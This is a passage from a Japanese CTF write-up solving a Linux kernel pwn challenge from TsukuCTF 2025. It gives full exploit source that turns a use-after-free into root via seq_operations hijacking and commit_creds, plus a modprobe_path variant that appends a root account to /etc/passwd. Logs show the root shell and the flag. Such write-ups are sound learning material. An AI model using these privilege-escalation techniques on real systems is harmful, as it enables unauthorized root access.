を直接実行してもどこにも表示されない。同様に、新規にシェルを起動しても標準入出力と紐づいておらず即終了する模様。 // そのため、modprobe_pathが指すファイルではchmodでの権限変更やechoでのファイル追加などの準備だけしておいて、実際のファイル読み込みや権限昇格は後で行う必要がある。 // C++のraw-string literalで楽をする。おそらくソースコードの改行コードがLFである必要がある。CR+LFだとおそらく各種コマンド内容にCRがそのまま引っ付いてくる。 std::ignore = system("cat << 'EOF_OUTER' > " MODIFIED_MODPROBE_PATH R"( #!/bin/sh # ここではchmodだけして、後でcatする。ここでcatしても表示されない模様。 chmod 777 /dev/sdb # パスワード部分は `openssl passwd -1 w00t` で生成 cat << 'EOF_INNER' >> /etc/passwd w00t:$1$kQJql9HV$ZCmAvjJPWyqSgkrfWBcsU1:0:0:root:/root:/bin/sh EOF_INNER EOF_OUTER )"); // 実行可能にするのが重要(忘れてN敗) std::ignore = system("chmod +x " MODIFIED_MODPROBE_PATH); // あとはrequest_moduleを呼び出させる [[maybe_unused]]auto fd_alg = socket(AF_ALG, SOCK_SEQPACKET, 0); puts("modprobe_pathへ書き込んだファイルが実行されたはずです。"); std::ignore = system("cat /dev/sdb"); return 0; // 完了しました。ここより下は試行錯誤の痕跡で、実際は不要なものです。 #if false // 以下、てっきりmodprobe_path実行にはbindまで必要と思ってた名残。実際はsocket作成で十分でした。 if (fd_alg < 0) { printf("error: %d\n", errno); // 97, EAFNOSUPPORT perror("Failed to socket"); // "Address family not supported by protocol" return 1; } sockaddr_alg sa{}; sa.salg_family = AF_ALG; strcpy((char*)sa.salg_type, "NO_SUCH_AS"); std::ignore = bind(fd_alg, (sockaddr*)&sa, sizeof(sa)); // modprobe_path実行にはbindが必要だと誤解していました(実際はsocket作成だけで良かった) #endif }
実行例です:
~ $ /tmp/exploit
Compiled time: May 12 2025 22:39:47
escalate_privilege = 0x401359
vuln 12288 0 - Live 0xffffffffc0000000 (O)
UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。
readします。このときにUAF Write結果によるカーネル権限任意コード実行が発動するはずです。
closeします。
/tmp/evil.sh
modprobe_pathへ書き込んだファイルが実行されたはずです。
TsukuCTF25{REDACTED}
~ $ ls -AlF /dev/sdb
brwxrwxrwx 1 root root 8, 16 May 12 14:46 /dev/sdb
~ $ cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
ctf:x:1000:1000:Linux User,,,:/home/ctf:/bin/sh
w00t:$1$kQJql9HV$ZCmAvjJPWyqSgkrfWBcsU1:0:0:root:/root:/bin/sh
~ $ su w00t
Password:
/ # whoami
root
/ #
おまけとして調査観点として、配布ファイルのvmlinuxファイルをIDAで確認しました:
__sock_create関数を見ると、__request_module関数の呼び出しパスが存在します(なおIDAの逆コンパイル画面では、先頭のアンダースコアが1つ少ない_sock_createや_request_module表示です)。そのためCONFIG_MODULESオプションが定義されていることが分かります:
if ( !net_families[v7] ) _request_module(1, "net-pf-%d", v7);
- ついでに
call_usermodehelper_setup関数を見ると、第1引数のpathを使用しています。そのため本問題ではCONFIG_STATIC_USERMODEHELPERオプションが未設定のようです:
result->path = path;
最終的な成功ソルバー、実行結果、フラグ
コンテスト中に成功した、commit_creds(prepare_kernel_cred(addr_init_task))手法の成功ソルバーです:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define CMD_ALLOC 0xf000 #define CMD_WRITE 0xf001 #define CMD_FREE 0xf002 #define OBJ_SIZE 0x20 // main先頭でアドレスを出力します void* escalate_privilege(void) { // 「grep prepare_kernel_cred /proc/kallsyms」等で確認、IDAでも分かります auto prepare_kernel_cred = (void *(*)(void *))0xffffffff812a11f0; auto commit_creds = (int (*)(void *))0xffffffff812a1050; // IDAのNamesタブから確認 auto addr_init_task = (void *)0xFFFFFFFF81E0C480; // init_taskのアドレス auto addr_init_cred = (void *)0xFFFFFFFF81E3BFA0; // init_credのアドレス // どちらでも権限昇格できます if (true) commit_creds(prepare_kernel_cred(addr_init_task)); else commit_creds(addr_init_cred); return 0; } typedef struct request_t { size_t size; char *data; } request_t; static_assert(sizeof(request_t) == 0x10); int main() { printf("Compiled time: %s %s\n", __DATE__, __TIME__); printf("escalate_privilege = %p\n", &escalate_privilege); system("cat /proc/modules"); int fd_vuln = open("/dev/vuln", O_RDWR); if (fd_vuln == -1) { perror("Failed to open /dev/vuln"); return 1; } void* (*fake_seq_operations[4])(void) = {&escalate_privilege, &escalate_privilege, &escalate_privilege, &escalate_privilege}; static_assert(sizeof(fake_seq_operations) == OBJ_SIZE); request_t req = { .size = sizeof(fake_seq_operations), .data = (char *)fake_seq_operations, }; // マシン起動から最初のCMD_Allocのみが成功する。 if (ioctl(fd_vuln, CMD_ALLOC, &req) == -1) { perror("ioctl for CMD_ALLOC"); puts("カーネル起動から最初のCMD_ALLOCのみ成功します。"); exit(1); } if (ioctl(fd_vuln, CMD_FREE, &req) == -1) { perror("ioctl for CMD_FREE"); exit(1); } // 同一サイズのseq_operations構造体をUAFで上書き // https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#seq_operations int fd_stat = open("/proc/self/stat", O_RDONLY); if (fd_vuln == -1) { perror("Failed to open /proc/self/stat"); return 1; } puts("UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。"); getchar(); if (ioctl(fd_vuln, CMD_WRITE, &req) == -1) { perror("ioctl for CMD_WRITE"); exit(1); } puts("readします。このときにUAFによるRIP制御が発動するはずです。"); char buffer_stat[256] = {}; read(fd_stat, buffer_stat, sizeof(buffer_stat)); puts("closeします。後は正常のはずです。"); close(fd_stat); puts("exploit終了です。"); // 自プロセスが権限昇格済みなので、子プロセスもrootになる system("/bin/sh"); }
上記exploit.cppを次のbuild.shでビルドしました:
#!/bin/bash musl-gcc -Os -Wall -Wextra -static -o exploit exploit.cpp strip exploit
ビルド結果を、配布ファイルupload.pyを使って、本問題のリモートサーバーへ送信して実行しました:
$ python3 upload.py exploit/exploit challs.tsukuctf.org 19000
[+] Opening connection to challs.tsukuctf.org on port 19000: Done
[*] Received command: b'hashcash -mb26 3QjjNrQqd\n'
[*] PoW result: b'1:26:250506:3qjjnrqqd::ji+CLv0u5tsQrB3a:00000000ZRWN\n'
[*] Uploading: 0/b4a0
[*] Uploading: 200/b4a0
[*] Uploading: 400/b4a0
(中略)
[*] Uploading: ae00/b4a0
[*] Uploading: b000/b4a0
[*] Uploading: b200/b4a0
[*] Uploading: b400/b4a0
[*] Switching to interactive mode
/tmp $ $ /tmp/exploit
/tmp/exploit
Compiled time: May 7 2025 00:07:27
escalate_privilege = 0x401329
vuln 12288 0 - Live 0x0000000000000000 (O)
UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。
$
readします。このときにUAFによるRIP制御が発動するはずです。
closeします。後は正常のはずです。
exploit終了です。
/tmp # $ whoami
whoami
root
/tmp # $ cat /dev/sdb
cat /dev/sdb
TsukuCTF25{n0w_u_learned_h0w_to_turn_UAF_int0_r00t}
\x00\x00\x00\x00(同様にNUL文字がしばらく続きます)
/tmp # $
pwntoolsのtube.inteactive()デフォルトプロンプトの$が重なっていて分かりづらいですが、無事にrootユーザーへ権限昇格できて、フラグを入手できました: TsukuCTF25{n0w_u_learned_h0w_to_turn_UAF_int0_r00t}
Writeup賞
運営の方に本記事をWriteup賞に選出くださりました!ありがとうございます!
Writeup賞受賞者は以下の方々に決定しました。おめでとうございます! @Tan90909090 @natelnwza007 @_k4non @KyarasuVer0 Writeup賞に応募して頂いた皆様、ありがとうございました。来年もよろしくお願いします! #TsukuCTF
— TsukuCTF 2025 (@tsukuctf) 2025年6月1日
感想
- チームの皆さまがとても強かったです!高難易度問題含めて、様々な問題をどんどん解かれていきました!皆様頼もしかったですし、楽しかったです!
- Pwnジャンルの3問全部がLinux Kernel Exploit問題で、特徴を感じました!
- 6時間取り組み続けて、ついにPwnジャンル1問目を解けました!達成感たっぷりでした!Kernel Exploit入門完全に理解した!(ダニングクルーガー効果)
- なおPwnジャンル2問目は全く分かりませんでした!
- 6時間取り組み続けて、ついにPwnジャンル1問目を解けました!達成感たっぷりでした!Kernel Exploit入門完全に理解した!(ダニングクルーガー効果)
- 記事内容にご指摘をいただけるのはありがたい限りです!